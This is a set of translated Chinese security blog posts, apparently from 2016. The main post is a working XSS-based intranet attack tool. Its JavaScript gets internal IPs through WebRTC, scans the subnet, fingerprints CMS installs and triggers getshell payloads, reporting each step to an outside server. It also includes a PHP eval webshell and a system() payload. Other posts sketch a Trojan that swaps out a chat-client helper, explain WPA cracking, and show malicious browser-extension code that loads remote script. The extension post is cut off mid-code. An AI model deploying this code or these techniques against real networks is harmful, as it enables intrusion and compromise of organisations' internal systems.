In the screenshot above, opening it runs "D:\Program Files (x86)\AliWangWang\8.60.03C\wwcmd.exe" %1. wwcmd.exe is AliWangWang’s API for handling messages from the web. When it succeeds, it opens a chat window. %1 is the sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1" argument. Let’s replace WWCmd.exe and see how the arguments are passed:

 #include<stdio.h>
 int main(int argc,char **argv) {
      FILE *fp = fopen("c:/123.txt","w+");
      if(NULL == fp)
          return -1;
      while(argc-->0){
          fputs(*++argv,fp);
          fputs(" ",fp);
      }
      return 0;
  }

This C program writes the remaining arguments to 123.txt on drive C. After I replaced WWCmd.exe and clicked Contact me, a 123.txt file appeared on drive C.

It also passed aliim: in. Following that request, we can write an exe that receives the arguments. My skills are limited, so here is the rough idea.

The exe replaces the original WWCmd.exe, then we generate a specific plugin and implant it in the browser. Every time the user opens a site, it receives a particular base64-encoded shell from the server, then runs aliim:cmd=服务端的base64. If the argument is sendmsg, it launches AliWangWang. If it is cmd, it executes the code. That covers both hiding the Trojan and the condition to wake it. The same idea works for Thunder downloads and similar apps.

What is the upside? When a browser launches AliWangWang, Thunder, and similar apps, a prompt usually pops up, but most users click Don’t ask again. That achieves the goal.

This is only an idea, and it is not very mature. Comments welcome.

Details are in http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html and http://blog.csdn.net/zssureqh/article/details/25828683 ↩

Automated XSS intranet invasion

bh@bugs.cc (Kevin Cui) — Wed, 14 Dec 2016 14:40:25 GMT

0x01 Preface

A lot of people think XSS can only steal cookies. Some SRCs and vendors ignore reflected XSS, or simply do not take it seriously.

Things only started to change after “Hei Ge” mentioned XSS intranet invasion in an earlier talk. From my own testing, the XSS intranet invasion Hei Ge described likely involved a browser vulnerability. What if you do not have a browser vulnerability? Like the Sohu bug 0x_Jin reported on WooYun: http://www.wooyun.org/bugs/wooyun-2014-076685

A few things to note: because of the browser same-origin policy, you cannot really invade the intranet in the full sense of the word. Of course, if you have a browser 0day, that is a different story.

I also asked about 0x_Jin’s WooYun report myself. The answer was that it only probed open port 80, and that was it. Hei Ge did not publish the full code, and 0x_Jin did not go further. Since neither did, I will take it from here. I will use another approach to “bypass the browser same-origin policy”.

0x02 Architecture

The code uses a live-feedback mechanism similar to XSS platforms. I will go through the variables first:

var onlyString           = "abc";
var ipList               = [];
var survivalIpLIst       = [];
var deathIpLIst          = [];
var sendsurvivalIp       = "http://webrtcxss.cn/Api/survivalIp";
var snedIteratesIpUrl    = "http://webrtcxss.cn/Api/survivalPortIp";
var snedIteratesCmsIpUrl = "http://webrtcxss.cn/Api/survivalCmsIp";
var sendExistenceVul     = "http://webrtcxss.cn/Api/existenceVul";

onlyString : a unique string so the server can tell which project a request belongs to. Real code would not hard-code abc; it would generate a hash with md5(date(‘Y-m-d H: i: s’)).
ipList : array that stores intranet IPs obtained via WebRTC.
survivalIpLIst : array of IPs with port 80 open
deathIpLIst : array of IPs without port 80, used for the check
sendsurvivalIp : send the current intranet IP info to the server
snedIteratesIpUrl : take CMS paths returned by the server and test IPs that already have port 80 open, to see whether any live IP matches CMS info stored on the server
snedIteratesCmsIpUrl : for a matched CMS, ask the server whether that CMS has a getshell we stored
sendExistenceVul : vulnerability confirmed, send it to the server

As I said in the 0x01 preface, I will use another approach to “bypass the browser same-origin policy”. Overall architecture: https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec

0x03 Getting intranet IP information

See: https://webrtc.org/faq/#what-is-webrtc WebRTC gives JavaScript some lower-level capabilities, and because of how WebRTC works, we can use JavaScript to obtain intranet IPs. Platforms that currently support WebRTC: Chrome, Firefox, Opera, Android, iOS. In my tests Maxthon also supports it (this will come up later). The WebRTC intranet-IP snippet is easy to find online. I modified it here so the rest of the code can call it easily. Here is the WebRTC code:

var webrtcxss = {
    webrtc : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp();

Let’s print it and see:

I already have the current host’s IP.

0x04 Detecting hosts on the intranet with port 80 open

At the end of the last section you can see webrtcxss.getIp(); has already called WebRTC to get intranet IPs, stored in the ipList array. Next we detect every IP on the intranet with port 80 open. I wrapped this step in a function:

function iteratesIp(){
    stage(1)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendsurvivalIp, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);
    for(var i = 0;i < ipList.length;i++){
        incompleteIp = ipList[i].split(".");
        incompleteIp.pop();
        incompleteIp = incompleteIp.join(".");
        for(var j = 1;j < 255;j++){
            var ip = incompleteIp + "." + j;
            var imgTag = document.createElement("img");
            imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
            imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
            imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
            imgTag.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(imgTag);
        }
    }
}
setTimeout("iteratesIp()",20000);
(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();

stage(1) is a function I wrote to send the latest progress to the server in real time. I will cover it at the end.

ipAjax = new XMLHttpRequest();
ipAjax.open('POST', sendsurvivalIp, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);

This sends the intranet IPs we just got to the server. The join(“-”) on ipList is there because WebRTC sometimes also picks up gateway and VM IPs.

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}

This walks every intranet host on port 80. Let’s look at it in practice:

The trailing .104 is stripped. Then a for loop walks 192.168.1.1~192.168.1.254 Now let’s run

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}

this code:

That is the console. Let’s see what changed in the DOM:

I use http://192.168.1.xxx/favicon.ico to tell which intranet IPs have port 80 open and a site running. onerror="javascript:deathIpLIst.push('192.168.1.xxx')" fires if the IP does not have port 80 open, or has port 80 open but no site, and pushes that IP into deathIpLIst. If it exists, it is pushed into survivalIpLIst, i.e. onload="javascript:survivalIpLIst.push('192.168.1.1')". Why do it this way? Here is the catch. The browser does not tell you immediately which images loaded and which did not; it needs a buffer period. Checking whether favicon.ico exists on 254 hosts in the same subnet takes about 550000ms===550s, roughly 2.16535s/IP. That is a bit over 9.16 minutes. So you wait about 9.16 minutes for the full scan. There is nothing you can do about that. Why setTimeout("iteratesIp()",20000); with a 20-second delay? WebRTC needs some time to get IPs. A few seconds would actually be enough. I bumped it to 20 seconds for a higher fault-tolerance margin. If that feels slow, download the source at the end of the article and change it. There is also this:

(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();

That is why I put IPs without port 80 in one array and IPs with port 80 in another. I do not know when they will finish. The 9.1 minutes earlier is only a rough figure; machine specs, intranet speed, and other factors can make it faster or slower. I cannot guarantee it. So I wrote this. Here is what it means:

(function(){
    /*coding*/
})();

This is an anonymous function. It runs as soon as execution reaches it. Inside, it first checks whether deathIpLIst.length + survivalIpLIst.length equals 254. If so, it calls snedIteratesIpData and passes the IPs that have port 80 open with a site running. If not, the browser has not finished judging every image yet, and it goes into the else branch. setTimeout(arguments.callee,5000); delays 5 seconds and then runs arguments.callee. arguments.callee is the current function. Let’s look:

console.log printed the current function. You can also write setTimeout(currentFunctionName(), 5000); to get the same effect, but that does not work for an anonymous function, because it has no name. If you have learned recursion, this should be easy to follow. In plain terms: run this function every 5 seconds until every img tag has been judged, then go to the next step.

0x05 Identifying CMS on live intranet hosts

The previous section mentioned snedIteratesIpData, which the if in the closure calls when the condition is true. Here is what is inside that function:

function snedIteratesIpData(ip){
    if(deathIpLIst.length == 254){
        return false;
    }
    stage(2)
    ip = ip.join("-")
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var cmsPath = JSON.parse(ipAjax.responseText).path;
            for(var key in cmsPath){
                for(var i = 0;i < survivalIpLIst.length;i++){
                    var scriptTag = document.createElement("script");
                    scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                    scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                    scriptTag.setAttribute("data-cmsinfo",key);
                    scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                    document.getElementsByTagName("body")[0].appendChild(scriptTag);
                }
            }
        }
    }
    ipAjax.open('POST', snedIteratesIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('iplist='+ip+'&onlystring='+onlyString);
}

Why is there an if at the start of the function? Because the closure in the previous section has a bug: if no intranet IP has port 80 open and a site running, deathIpLIst.length is 254 and survivalIpLIst.length is 0. Then deathIpLIst.length + survivalIpLIst.length == 254 is still true. To avoid that, we add this in snedIteratesIpData:

if(deathIpLIst.length == 254){
    return false;
}

When deathIpLIst.length is 254, return false and stop. The architecture is A calls B, C calls A, D calls C. When C returns false, D does not run. After the return false, none of the code below it runs. What ip = ip.join("-") means: when there are two or more intranet IPs, join them before sending so the server can receive and display them. The server feedback looks like this:

Next, the ajax request:

ipAjax = new XMLHttpRequest();
ipAjax.onreadystatechange = function(){
    if(ipAjax.readyState == 4 && ipAjax.status == 200){
        var cmsPath = JSON.parse(ipAjax.responseText).path;
        for(var key in cmsPath){
            for(var i = 0;i < survivalIpLIst.length;i++){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://" + survivalIpLIst[i] + cmsPath[key]);
                scriptTag.setAttribute("data-ipadder",survivalIpLIst[i]);
                scriptTag.setAttribute("data-cmsinfo",key);
                scriptTag.setAttribute("onload","javascript:vulnerabilityIpList(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            }
        }
    }
}
ipAjax.open('POST', snedIteratesIpUrl, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('iplist='+ip+'&onlystring='+onlyString);

Send the intranet IPs that have port 80 open and a site running, plus the unique identifier, for the server to verify. After the server accepts that, it sends JSON. Server code:

$this->ajaxReturn(array(
    "typeMsg" => "success",
    "path"    => $pathInfo,
));

Then if(ipAjax.readyState == 4 && ipAjax.status == 200) checks whether the send succeeded. On success, assign the JSON path data to cmsPath for later use. First a for loop, where cmsPath[‘key’] is the current CMS path. Nested inside that, another for loop, where survivalIpLIst[i] is the current IP. Then we create a script DOM element. data-ipadder and data-cmsinfo are there so later code can read them. onload = " javascript:vulnerabilityIpList(this)" is the function called when that URL exists. Next section covers it. First, let’s see what cmsPath looks like in the database:

These four are the defaults. You can add more paths yourself. For testing I deployed some code on another computer at home, with only index.php, /static/bbcode.js, vul/heihei.php, and favicon.ico. The code in heihei.php is:

<?php
   eval($_GET['a']);

Why this? Simple. I do not have a Discuz getshell on hand. This was the lazy way. I also casually used a dedecms favicon.ico. Don’t mind that in the tests below. Let’s run the code and see what happens:

I put console.log(1) in /static/bbcode.js, so the console prints 1. That is only test code; a real environment would not look like this. Now look at the DOM changes:

It already ran. The program detected that only http://192.168.1.103/static/js/bbcode.js matched. Once the JS file loads successfully, the vulnerabilityIpList(this) in onload runs. The vulnerabilityIpList function is in the next section.

0x06 Checking whether intranet host vulnerabilities actually exist (part 1)

Here is the vulnerabilityIpList function:

function vulnerabilityIpList(info){
    stage(3)
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var vulCmsInfo = ipAjax.responseText;
            var img = document.createElement("img");
            img.setAttribute("scr",vulCmsInfo);
            img.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(img);
            setTimeout(function(){
                var scriptTag = document.createElement("script");
                scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
                scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
                scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
                scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
                document.getElementsByTagName("body")[0].appendChild(scriptTag);
            },2000);
        }
    }
    ipAjax.open('POST', snedIteratesCmsIpUrl, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('existenceCmsIp='+ info.getAttribute("data-ipadder") + '&existenceCmsInfo=' + info.getAttribute("data-cmsinfo") + '&onlystring=' + onlyString);
}

The info argument is the DOM object of the script tag that loaded successfully. First, the request URL:

existenceCmsIp is the IP whose CMS type was detected
existenceCmsInfo is the CMS type that was detected
onlystring is the unique identifier, so the server can tell which project this belongs to.

Next, what is inside onreadystatechange:

var vulCmsInfo = ipAjax.responseText;
var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);
setTimeout(function(){
    var scriptTag = document.createElement("script");
    scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js");
    scriptTag.setAttribute("data-cmsinfo",info.getAttribute("data-cmsinfo"));
    scriptTag.setAttribute("data-vulip",info.getAttribute('data-ipadder'));
    scriptTag.setAttribute("onload","javascript:vulConfirm(this)");
    document.getElementsByTagName("body")[0].appendChild(scriptTag);
},2000);

First, var vulCmsInfo = ipAjax.responseText; assigns the string the server returned to vulCmsInfo. The server code is:

/*
* add IPs where the client detected a CMS to the database
*/
if(I('post.existenceCmsIp')  == "" || I('post.existenceCmsInfo') == "" || I('post.onlystring') == ""){
    $this->ajaxReturn(array(
        "typeMsg" => "error",
    ));
}
$existenceCmsIp               = I('post.existenceCmsIp');
$existenceCmsInfo             = I('post.existenceCmsInfo');
$onlyString                   = I('post.onlystring');
$existencecmsip               = M('existencecmsip');
$existenceData['inner_ip']    = $existenceCmsIp;
$existenceData['cms']         = $existenceCmsInfo;
$existenceData['onlystring'] = $onlyString;
$existenceData['create_time'] = date('Y-m-d H:i:s');
$existencecmsip->data($existenceData)->add();
/*
* fetch CMS vulnerability details from the database and send them to the client
*/
$cmsvul  = M('cmsvul');
$vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo"));
echo "http://".$existenceCmsIp.$vulInfo;

From the code you can see the server does not return JSON, it returns a string. That string is a concatenated URL. The URL is the discovered IP plus the CMS vulnerability path stored on the server. Then an img tag sends a GET to trigger the getshell. The code is:

var img = document.createElement("img");
img.setAttribute("scr",vulCmsInfo);
img.setAttribute("style","display:none;");
document.getElementsByTagName("body")[0].appendChild(img);

Why delay 2 seconds with setTimeout? As I said earlier, the browser cannot judge that many img requests at once. There is only one here, so I used 2 seconds. In a real case you can change it to 20 seconds. Then we create a script tag to check whether 1.js was generated. If it was, the vulnerability exists and we hand it to the next function. If not, we stop, because onload will not call vulConfirm. Why check for 1.js? That is the getshell payload I mentioned. In the database it looks like this:

It is a base64 ciphertext. Decoded, it is: /vul/heihei.php?a=system('echo 1 >> ../1.js'); When the backend sends this to the frontend, I have already decoded it, as in the code above: $vulInfo = base64_decode($cmsvul->where('cms="'.$existenceCmsInfo.'"')->getField("vulinfo")); In the browser the code looks like this:

Now the real use of setTimeout. Look at this line: scriptTag.setAttribute("src","http://"+info.getAttribute('data-ipadder')+"/1.js"); The script src is set to check whether 1.js exists on the target. If it does, vulConfirm in onload runs. vulConfirm is in the next section.

0x07 Checking whether intranet host vulnerabilities actually exist (part 2)

vulConfirm is simple. It only sends data to the server.

function vulConfirm(cmsConfirmInfo){
    stage(4)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendExistenceVul, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('cms='+ cmsConfirmInfo.getAttribute("data-cmsinfo") + '&vulip='+ cmsConfirmInfo.getAttribute("data-vulip") +'&onlystring=' + onlyString);
}

cms is the CMS that has the vulnerability
vulip is the IP that has the vulnerability
onlystring is the unique identifier, so the server can tell which project this belongs to

0x08 What stage does

The stage function:

function stage(num){
    var updataStage = document.createElement("img");
    updataStage.setAttribute("src","http://webrtcxss.cn/Api/stage/onlystring/"+onlyString+"/updata/"+num);
    updataStage.setAttribute("style","display:none;");
    document.getElementsByTagName("body")[0].appendChild(updataStage);
}

It is just an img tag that GETs the server to report how far the code has run. Feedback on the platform looks like this:

0x09 API backend code

The backend uses the ThinkPHP framework. If you want to change how the server receives data, edit ApiController.class.php under /Application/Home/Controller. It is split into the survivalIp, survivalPortIp, _empty, survivalCmsIp, existenceVul, and stage modules. Adjust them to match the JavaScript. Screenshot:

0x10 Platform-specific APIs

The platform API is RootApiController.class.php under /Application/Home/Controller. Creating, deleting, and querying projects are all in there. If you want to change the JavaScript, do it in project creation, as in:

The change is simple. The running platform looks like this:

0x11 Database schema

There are 7 tables in total:

webrtc_cmspath stores JavaScript paths used to detect CMS type
webrtc_cmsvul stores getshell details for each CMS
webrtc_existencecmsip stores which intranet IPs have a CMS
webrtc_existencevul stores which intranet IPs have a vulnerable CMS
webrtc_ipdatalist stores the list of intranet IPs that have port 80 open and a site running
webrtc_project stores project info
webrtc_survivaliplist stores the current host’s intranet IPs

0x12 Other attack vectors

I wrote about this on FreeBuf earlier: http://www.freebuf.com/articles/web/61268.html Some nginx or Apache admins watch site traffic in real time from the logs. Raw log files look ugly, so people built web UIs that stream traffic live. When they record user-agent and other packet fields, they do not filter. An attacker can set their user-agent to an XSS string, browse the site, and the admin triggers XSS when they open the viewer. Combined with what this chapter covers, it is as perfect as eating chocolate on a rainy day. It does not have to be nginx or Apache. Some site backends log IP and user-agent in application code rather than from nginx-style config files, so staff can view them in the admin panel. That is where the technique in this chapter comes in. On plugin security, look at this:

I controlled more than ten Maxthon plugin-author accounts, covering 300,000 plugin users, and I can change the code at any time. I asked Maxthon plugin staff, and the reply was:

Even if you do not have a plugin-author account, you can write a tiny plugin game with the simplest html+swf and get thousands of installs in a week. Say 100,000 users installed my plugin. Of those, 50,000 already have jobs. 20,000 use Maxthon on a company computer with the plugin installed. Once they open Maxthon, the plugin runs automatically. When the plugin finds a new version, it silently auto-updates. Then our JavaScript runs. In 0x03 I said Maxthon also supports WebRTC, but there is a catch. I am not sure if it is version-related. In Chrome, the WebRTC code shows one set of IPs, the current machine’s intranet IPs. In Maxthon you get three sets, maybe more. Screenshot:

192.168.27.1 is a VM range on my machine. 192.168.118.1 is also a VM range. Only 192.168.1.104 is the real intranet IP. That is why the source uses join and a for loop over ipList.

0x13 Failed ideas

Idea 1

Suppose the intranet IP we got is 192.168.21.104. A for loop emitting img and script tags can get every live intranet IP (and can probe ports). The problem is how JavaScript gets resources from other intranet hosts. Cross-origin, so ajax and iframe both fail. I asked 0xJin last night: he did not fetch those resources, he only scanned live IPs and ports. But this is supposed to be intranet roaming, not just the PC that triggered the XSS. I looked through material all night and have an idea, though I don’t know if it works. If you have a better suggestion, say so. The idea may be wrong.

Skip the earlier part. Assume we already have the intranet IPs with port 80 open. Since ajax and iframe both fail, we can try Flash. Flash has its own crossdomain.xml restriction, but this morning I found this article: http://www.litefeel.com/cross-flash-security-sandbox-get-visual-data According to the author, this method can only get visual objects (images, swf), so you still cannot get HTML source from the live IPs.

I wondered whether Flash could send a URL with XSS (an intranet IP) The XSS would load the Html2canvas plugin, screenshot the live IP’s site, and send it to our server. There is a constraint: you still need the CMS of the live IP’s site (you can use <img src="intranet-ip/favicon.ico"> and send the image to a remote server to receive it. That tells you the CMS type. When you build this, you can add JavaScript that periodically fetches from the remote server. Once we see the CMS type, we look up a version-disclosure method, write it into code, and wait for the client’s scheduled task to pick it up).

Now we have the info. There is still one more condition: an XSS to load the Html2canvas plugin, save a screenshot, and send it to the remote server.

Here is the problem: reflected XSS does not actually open the site, it just sends a GET. Then canvas will not load, so the screenshot fails. Stored XSS might work.

Why it failed:

canvas cannot read the DOM inside an iframe
the img cannot be sent to a remote server, because the current page and the img are not same-origin
stealth is poor

Idea 2

The idea I mentioned earlier was xss+iframe+canvas, but @超威蓝猫 said canvas cannot capture iframe content. I looked it up later and that is correct (weak fundamentals). Then I had another idea: use <img src="https://xxx.xxx.xxx.xxx/favico.ico" /> to get the site’s CMS, because different CMSs have different ico files. Send the img to the server and you can tell which CMS it is. After a few hours of discussion with Weige @呆子不开口, we realized I had skipped an important problem: how to send the img to a remote server. The image URL is not same-origin, and how do you turn the image into binary data in JavaScript? That idea died too. Weige offered a nice solution: probe JS files, i.e. <script src="http://xxx.xxx.xxx.xxx/path/cms.js" onload="xxx(this)"></script>. That means I need a large set of CMS-specific JS paths. A lot of work. I was going to go with that, but a few days ago I was bored and scrolling my QQ logs and found this:

document.addEventListener("visibilitychange", function() {
    document.title = document.hidden ? 'iloveyou' : 'metoo';
});

This is an HTML5 API. I realized I could use it to upload images without the user noticing. When the user switches to another tab, document.hidden is true. Then we know the user is not looking at the XSS page. We can do anything and they will not notice. Roughly:

document.addEventListener("visibilitychange", function() {
    if(document.hidden){
        var htmlText = $("body").html();
        $("body").empty();
        $("body").append("<img src='http://xxx.xxx.xxx.xxx/favico.ico' />");
        // canvas captures the page; see: http://leobluewing.iteye.com/blog/2020145
    }else{
        $("body").empty();
        $("body").append(htmlText);
    }
});

Why it failed:

As mentioned earlier, img loading is slow. On Maxthon especially, scanning three or more IP ranges takes about 30 minutes. This method would require the user not to open the page for half an hour
canvas cannot read cross-origin images, so it cannot read the image the img tag loaded

In the end I went with Weige’s method.

0x14 Closing

Special thanks to @呆子不开口. This article was exhausting to write. Because img requests take so long, every bug fix meant waiting 9-10 minutes. It is the longest article I have written so far. I was also learning to drive, so I had even less time. It took about a month. I had promised the editor the 15th and kept slipping. Sorry about that. There are still some frontend, backend, and database bugs. If this platform hits 1,000 installs I will keep updating it. Download URL: https://github.com/BlackHole1/WebRtcXSS

Company Wi-Fi security

bh@bugs.cc (Kevin Cui) — Tue, 13 Dec 2016 03:00:48 GMT

0x0 Preface

A lot of companies have no security team. Ops owns all of security, so security takes a hit. I’ve been doing security assessments for various companies lately, so I’m writing down what I’ve learned. Feel free to fill in anything I missed.

0x1 Wireless security

A lot of companies don’t take wireless security seriously. Companies with money buy gear. Companies without throw people at it. However skilled the people are, without equipment, manpower alone doesn’t help much.

Most company Wi-Fi auth is basically WPA/WPA2 plus a web secondary authentication, and people think that’s enough. It isn’t. You can crack WPA with aircrack-ng, airmon-ng, airodump-ng, and aireplay-ng. For WPA2, dictionary brute force.

You can also spoof a Wi-Fi network with a Wi-Fi Pineapple. And everyone knows the “Wi-Fi Master Key” app: try that first, and only crack it if Master Key can’t. After you join the Wi-Fi, you’ll be told to do web secondary authentication. You can ignore that. It doesn’t do anything useful.

Because auth is WPA/WPA2, once you join the Wi-Fi the switch hands you an intranet IP right away (in my cases it was a switch; it could also be a router). Why would an attacker want your internet access? They want intranet resources.

Not being able to reach the internet is not a problem for an attacker. When I assessed one company, I cracked it with Master Key, then MITM sniffed. In under two minutes I had admin access to their company website backend.

Web auth, as I see it, is not aimed at attackers. It’s aimed at employees. Attackers don’t need internet access. Employees do. Here’s a diagram I drew:

Mind map URL

After the attacker joins the Wi-Fi, they still can’t pass web secondary authentication, but they are already on the intranet and can reach any internal resource.

Suggested fixes:

Replace WPA/WPA2 wireless auth with 802.1X (802.1X wireless auth needs switch support)
Buy wireless detection / defense gear
Wireless cannot reach intranet resources; only wired can (isolate the problem physically)

For 802.1X, the flow looks like this:

Mind map URL

Even if the attacker joins the company Wi-Fi, they cannot pass 802.1X, so

company gear (routers, switches) will not grant an intranet IP or an external egress IP.

0x2 Deeper wireless security

What I covered above is only about managing the Wi-Fi the company itself exposes.

Of those three fixes, the first is the most convenient and doesn’t cost money (the network gear has to support 802.1X wireless; if it doesn’t, you still have to spend).

The second, companies that don’t want to spend won’t pick. And after you buy it you still have to configure it. The upfront work is huge.

The third is a lot of work: you have to re-architect the company network. A colleague and I started after we got off at 6pm and only finished just before the next workday.

If the company doesn’t want to spend, or ops doesn’t want to re-architect, the first option is a good choice. But there’s another problem: 360 / Baidu portable Wi-Fi. That thing makes already-insecure companies even worse.

Once a 360 / Baidu portable Wi-Fi stick is plugged into a company PC, it starts the ICS (Internet Connection Sharing) service plus the wireless NIC’s AP mode. After you join that portable Wi-Fi, you’re on a small LAN. From there we can compromise the PC with the stick plugged in, then use it to move through the rest of the company. If you only need a particular kind of access, you don’t need to compromise that PC. Say you need this site’s admin backend, but logging in requires the egress IP to be the company’s public IP. In that case we don’t need to compromise the PC with the portable Wi-Fi. Why? I drew a diagram:

Mind map URL

After the attacker joins this Wi-Fi, there is no web secondary authentication, because they’re using the employee’s network, and the employee has already authenticated. The employee is on the company intranet, the intranet has a single egress IP, and the server only allows that IP. Other IPs can’t reach the server.

There are plenty of fixes online. Look up a tutorial.

If you have a better solution, I’d like to hear it. My thinking is limited. Sorry for any gaps.

Browser plugin attack vectors

bh@bugs.cc (Kevin Cui) — Wed, 05 Oct 2016 12:35:52 GMT

0x0 Preface

I have said “browser plugin attack methods” in many places. This post walks through the attack techniques and the attack code that come from browser plugins. The material here can open a new attack path, and it also works well for APT.

0x1 Become the attacker

I asked around in a group earlier. A lot of people had only heard of this. They knew the idea, but they had never tried it, and they underestimated it. Public cases of this technique are also scarce. Without offense there is no defense. Chrome has seen similar attacks, but those payloads did very little. So in this post we become the attacker first, and study the technique from that side. When I mentioned this technique before, it was always a short section inside another article. Now I am writing a dedicated post for it, and I hope people take it seriously.

In most people’s minds, a browser plugin attack means planting JavaScript in a plugin and stealing cookies. It is not that simple.

Everyone knows a “browser plugin attack” needs the user to install your plugin. Everyone also thinks that is the only way. It is not. Here are 4 ways to get a plugin installed:

Trick the user on the page: write “to view this page, please download xx plugin”

Wait passively, like Jiang Taigong fishing: the plugin sits there, and if you don’t install it, someone else will

Take over the plugin author’s account via a credential dump, plant a backdoor, then ship an update

Control third-party JavaScript that the plugin loads

We have four methods. Let’s go through them one by one.

0x1.1 Trick users on the page: “to view this page, please download xx plugin”

This is similar to Forcing users to install malicious Chrome extensions, attackers go aggressive. We will implement it and improve it a bit. The example here uses a Maxthon browser plugin.

0x1.1.1 Detect whether a plugin is installed

First, the directory layout of this attack:

Website page: index.html

Plugin directory:

icons/              directory that stores the plugin logo

icons/icons.svg     plugin logo file

def.json            the plugin's main control file, which holds the entire plugin configuration
Code:
[
    {
        "type": "extension",
        "frameworkVersion": "1.0.0",
        "version": "1.0.0",
        "guid": "{7c321680-7673-484c-bcc4-de10f453cb8e}",
        "name": "plug_setup",
        "author": "Black-Hole",
        "svg_icon": "icon.svg",
        "title": {
            "zh-cn": "Trick the user into installing a plugin"
        },
        "description": {
            "zh-cn": "Trick the user into installing a plugin"
        },
        "main": "index.html",
        "actions": [
            {
                "type": "script",
                "entryPoints": [
                    "doc_onload"
                ],
                "js": [
                    "base.js"
                ],
        "include": ["*"],
        "includeFrames": true
             }
        ]
    }
]
base.js             JavaScript code to run every time a page is opened

I went through the entire Maxthon plugin API docs. There is nothing like the Chrome plugin API:

chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    if(request.act == 'ping'){
        sendResponse({"act": "tong"});
    }
})
chrome.runtime.sendMessage("extensionId", {"act": "ping"}, function(response){
    if(response && response.act == 'tong'){
        console.log('installed');
    }else{
        console.log('not installed');
    }
});

Since there isn’t one, we have to solve it with a more hacky approach.

I used JavaScript globals plus the setTimeout function.

First, write this in the plugin’s base.js:

var script = document.createElement('script');
script.src = "http://119.29.58.242/control.js";
document.body.appendChild(script);

The snippet above appends <script src="http://119.29.58.242/control.js"></script> after the body tag on every page. The code in http://119.29.58.242/control.js is:

window.plug_setup = function(){

}

After that, when the user opens any page, that page’s globals include a function named plug_setup. It does nothing, so it is easy to miss. It only matters on specific pages.

Then on our site we write:

setTimeout(function(){
    if(typeof(plug_setup)!="function"){
